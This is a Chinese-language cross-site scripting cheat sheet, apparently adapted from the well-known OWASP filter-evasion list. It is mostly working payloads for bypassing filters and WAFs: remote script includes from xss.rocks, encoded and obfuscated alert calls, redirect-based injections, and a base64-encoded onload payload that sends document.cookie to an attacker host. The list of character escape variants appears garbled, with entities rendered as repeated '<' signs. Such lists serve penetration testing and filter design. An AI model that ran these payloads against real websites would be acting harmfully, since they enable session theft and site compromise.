如果 XSS 所在的页面不提供页面字符集标头,或者任何设置为 UTF-7 编码的浏览器都可以通过以下方式利用(感谢 Roman Ivanov 提供的这一点)。单击此处查看示例(如果用户的浏览器设置为自动检测并且在 IE 渲染引擎模式下的 Internet Explorer 和 Netscape 8.1 页面上没有覆盖内容类型,则不需要 charset 语句)。如果不更改编码类型,这在任何现代浏览器中都不起作用,这就是它被标记为完全不受支持的原因。Watchfire 在 Google 的自定义 404 脚本中发现了这个漏洞。:
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
使用 HTML 引用封装的 XSS
这是在 IE 中测试的,您的里程可能会有所不同。为了在允许<SCRIPT>但不允许<SCRIPT SRC...的站点上通过正则表达式过滤器执行 XSS /\<script\[^\>\]+src/i:
<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
对于通过正则表达式过滤器在允许<SCRIPT>但不允许\<script src...的站点上执行 XSS /\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(.)\*?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i(这是一个重要的过滤器,因为我已经在野外看到过这个正则表达式):
<SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
另一个 XSS 来逃避相同的过滤器,/\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(.)\*?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i:
<SCRIPT a=">" '' SRC="httx://xss.rocks/xss.js"></SCRIPT>
另一个 XSS 来逃避相同的过滤器,/\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(.)\*?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i. 我知道我说过我不打算讨论缓解技术,但是如果您仍然想要允许<SCRIPT>标签但不允许远程脚本,我看到的唯一适用于此 XSS 示例的方法是状态机(当然还有其他方法可以如果他们允许<SCRIPT>标签,请解决这个问题):
<SCRIPT "a='>'" SRC="httx://xss.rocks/xss.js"></SCRIPT>
最后一次要躲避的 XSS 攻击,/\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(.)\*?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i使用重音符号(同样,在 Firefox 中不起作用):
<SCRIPT a=> SRC="httx://xss.rocks/xss.js"></SCRIPT>
这是一个 XSS 示例,该示例押注于以下事实:正则表达式不会捕获匹配的引号对,而是会查找任何引号以不正确地终止参数字符串:
<SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT>
这个 XSS 仍然让我担心,因为几乎不可能在不阻止所有活动内容的情况下阻止它:
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js"></SCRIPT>
URL 字符串规避
假设http://www.google.com/不允许以编程方式:
IP 与主机名
<A HREF="http://66.102.7.147/">XSS</A>
网址编码
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
双字编码
注意:Dword 编码还有其他变体 – 请参阅下面的 IP 混淆计算器了解更多详细信息:
<A HREF="http://1113982867/">XSS</A>
十六进制编码
正如您在第二个数字上看到的那样,允许的每个数字的总大小大约为 240 个字符,并且由于十六进制数字介于 0 和 F 之间,因此不需要第三个十六进制引号的前导零):
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
八进制编码
再次允许填充,尽管您必须将其保持在每个类的总字符数超过 4 个 – 如在 A 类、B 类等中……:
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
Base64 编码
<img onload="eval(atob('ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly9saXN0ZXJuSVAvIitkb2N1bWVudC5jb29raWU='))">
混合编码
让我们混合和匹配基本编码并加入一些选项卡和换行符 – 为什么浏览器允许这样做,我永远不会知道)。制表符和换行符仅在用引号封装时才有效:
<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
协议解析绕过
//转换为http://可以节省更多字节。当空间也是一个问题时,这真的很方便(少两个字符可以有很长的路要走)并且可以轻松绕过正则表达式(ht|f)tp(s)?://(感谢 Ozh 的一部分)。您也可以将 更改//为\\\\。但是,您确实需要保留斜线,否则这将被解释为相对路径 URL。
<A HREF="//www.google.com/">XSS</A>
谷歌“feeling lucky”第 1 部分。
Firefox 使用 Google 的“感觉幸运”功能将用户重定向到您输入的任何关键字。因此,如果您的可利用页面是某些随机关键字的顶部(如您所见),您可以使用该功能来对付任何 Firefox 用户。这使用 Firefox 的keyword:协议。例如,您可以使用以下内容连接多个关键字keyword:XSS+RSnake。从 2.0 开始,这在 Firefox 中不再有效。
<A HREF="//google">XSS</A>
谷歌“feeling lucky”第 2 部分。
这使用了一个看起来只适用于 Firefox 的非常小的技巧,因为它实现了“感觉幸运”功能。与下一个不同,这在 Opera 中不起作用,因为 Opera 认为这是旧的 HTTP Basic Auth 网络钓鱼攻击,但事实并非如此。这只是一个格式错误的 URL。如果您在对话框上单击“确定”,它将起作用,但是由于错误的对话框,我说 Opera 不支持此功能,并且从 2.0 开始,Firefox 不再支持它:
<A HREF="http://ha.ckers.org@google">XSS</A>
谷歌“feeling lucky”第 3 部分。
这使用了一个看起来只在 Firefox 和 Opera 中工作的格式错误的 URL,因为它们实现了“感觉幸运”功能。与上述所有内容一样,它要求您在相关关键字的 Google 中排名第一(在本例中为“google”):
<A HREF="http://google:ha.ckers.org">XSS</A>
删除 CNAME
当与上述 URL 结合使用时,删除www.将额外节省 4 个字节,对于正确设置的服务器总共节省 9 个字节):
<A HREF="http://google.com/">XSS</A>
绝对 DNS 的额外点:
<A HREF="http://www.google.com./">XSS</A>
JavaScript 链接位置:
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
内容替换为攻击向量
假设http://www.google.com/以编程方式替换为空)。我实际上通过使用转换过滤器本身(这里是一个示例)来帮助创建攻击向量(IE:java&\#x09;script:被转换为java script:,它在 IE 中呈现,Netscape 8.1+ 和Opera在安全站点模式):
<A HREF="http://www.google.com/ogle.com/">XSS</A>
协助 XSS 处理 HTTP 参数污染
假设网站上的内容共享流程如下所示。有一个“内容”页面,其中包含用户提供的一些内容,该页面还包含一个指向“共享”页面的链接,用户可以选择他们最喜欢的社交共享平台进行共享。开发人员 HTML 编码了“内容”页面中的“标题”参数以防止 XSS,但由于某些原因,他们没有对该参数进行 URL 编码以防止 HTTP 参数污染。最后,他们决定因为 content_type 的值是一个常量并且总是整数,所以他们没有在“共享”页面中对 content_type 进行编码或验证。
内容页面源代码
a href="/Share?content_type=1&title=<%=Encode.forHtmlAttribute(untrusted content title)%>">Share</a>
分享页面源代码
<script>
var contentType = <%=Request.getParameter("content_type")%>;
var title = "<%=Encode.forJavaScript(request.getParameter("title"))%>";
...
//some user agreement and sending to server logic might be here
...
</script>
内容页面输出
在这种情况下,如果攻击者将不受信任的内容标题设置为“This is a regular title&content_type=1;alert(1)”,则“内容”页面中的链接将是:
<a href="/share?content_type=1&title=This is a regular title&content_type=1;alert(1)">Share</a>
分享页面输出
在共享页面输出可能是这样的:
<script>
var contentType = 1; alert(1);
var title = "This is a regular title";
…
//some user agreement and sending to server logic might be here
…
</script>
因此,在此示例中,主要缺陷是在没有正确编码或验证的情况下信任“共享”页面中的 content_type。HTTP 参数污染可以通过将 XSS 缺陷从反射型 XSS 提升为存储型 XSS 来增加 XSS 缺陷的影响。
字符转义序列
HTML 和 JavaScript 中字符“<”的所有可能组合。其中大部分不会开箱即用,但其中许多可以在某些情况下进行渲染,如上所示。
<
%3C
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
\x3c
\x3C
\u003c
\u003C
绕过WAF的方法——跨站脚本
一般问题
存储型 XSS
如果攻击者设法通过过滤器推动 XSS,WAF 将无法阻止攻击传导。
Javascript 中的反射型 XSS
Example: <script> ... setTimeout(\\"writetitle()\\",$\_GET\[xss\]) ... </script>
Exploitation: /?xss=500); alert(document.cookie);//
基于DOM的XSS
Example: <script> ... eval($\_GET\[xss\]); ... </script>
Exploitation: /?xss=document.cookie
通过请求重定向的 XSS
- 易受攻击的代码:
...
header('Location: '.$_GET['param']);
...
或者:
..
header('Refresh: 0; URL='.$_GET['param']);
...
- 此请求不会通过 WAF:
/?param=<javascript:alert(document.cookie>)
- 此请求将通过 WAF 并在某些浏览器中进行 XSS 攻击。
/?param=<data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=
用于 XSS 的 WAF 绕过字符串。
<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
<Video> <source onerror = "javascript: alert (XSS)">
<Input value = "XSS" type = text>
<applet code="javascript:confirm(document.cookie);">
<isindex x="javascript:" onmouseover="alert(XSS)">
"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
"><img src="x:x" onerror="alert(XSS)">
"><iframe src="javascript:alert(XSS)">
<object data="javascript:alert(XSS)">
<isindex type=image src=1 onerror=alert(XSS)>
<img src=x:alert(alt) onerror=eval(src) alt=0>
<img src="x:gif" onerror="window['al\u0065rt'](0)"></img>
<iframe/src="data:text/html,<svg onload=alert(1)>">
<meta content="
 1 
; JAVASCRIPT: alert(1)" http-equiv="refresh"/>
<svg><script xlink:href=data:,window.open('https://www.google.com/')></script
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript:alert(document.location)>
<form><a href="javascript:\u0061lert(1)">X
</script><img/*%00/src="worksinchrome:prompt(1)"/%00*/onerror='eval(src)'>
<style>//*{x:expression(alert(/xss/))}//<style></style>
On Mouse Over
<img src="/" =_=" title="onerror='prompt(1)'">
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
<script x> alert(1) </script 1=2
<form><button formaction=javascript:alert(1)>CLICKME
<input/onmouseover="javaSCRIPT:confirm(1)"
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>
过滤器绕过警报混淆
(alert)(1)
a=alert,a(1)
[1].find(alert)
top[“al”+”ert”](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top[‘al\145rt’](1)
top[‘al\x65rt’](1)
top[8680439..toString(30)](1)
alert?.()
`${alert}` (payload应该包括开头和结尾的反引号.)
(alert())
84个xss bypass payloads
<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=# onmouseover="alert('xxs')">
<IMG SRC= onmouseover="alert('xxs')">
<IMG onmouseover="alert('xxs')">
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
<img src=x onerror="javascript:alert('XSS')">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="jav	ascript:alert('XSS');">
<IMG SRC="jav
ascript:alert('XSS');">
<IMG SRC="jav
ascript:alert('XSS');">
<IMG SRC="  javascript:alert('XSS');">
<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
<SCRIPT/SRC="http://xss.rocks/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<SCRIPT SRC=http://xss.rocks/xss.js?< B >
<SCRIPT SRC=//xss.rocks/.j>
<IMG SRC="javascript:alert('XSS')"
<iframe src=http://xss.rocks/scriptlet.html <
\";alert('XSS');//
</script><script>alert('XSS');</script>
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
<svg/onload=alert('XSS')>
<IMG SRC="livescript:[code]">
<IMG SRC='vbscript:msgbox("XSS")'>
Set.constructor`alert\x28document.domain\x29```
<BODY ONLOAD=alert('XSS')>
<BGSOUND SRC="javascript:alert('XSS');">
<BR SIZE="&{alert('XSS')}">
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<LINK REL="stylesheet" HREF="http://xss.rocks/xss.css">
<STYLE>@import'http://xss.rocks/xss.css';</STYLE>
<META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet">
<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE>
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<XSS STYLE="xss:expression(alert('XSS'))">
<XSS STYLE="behavior: url(xss.htc);">
¼script¾alert(¢XSS¢)¼/script¾
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="width: expression(alert('XSS'));">
<BASE HREF="javascript:alert('XSS');//">
<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT>
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT>
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://xss.rocks/xss.js></SCRIPT>'"-->
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
<SCRIPT a=">" SRC="http://xss.rocks/xss.js"></SCRIPT>
<SCRIPT =">" SRC="http://xss.rocks/xss.js"></SCRIPT>
<SCRIPT a=">" '' SRC="http://xss.rocks/xss.js"></SCRIPT>
<SCRIPT "a='>'" SRC="http://xss.rocks/xss.js"></SCRIPT>
<SCRIPT a=`>` SRC="http://xss.rocks/xss.js"></SCRIPT>
<SCRIPT a=">'>" SRC="http://xss.rocks/xss.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://xss.rocks/xss.js"></SCRIPT>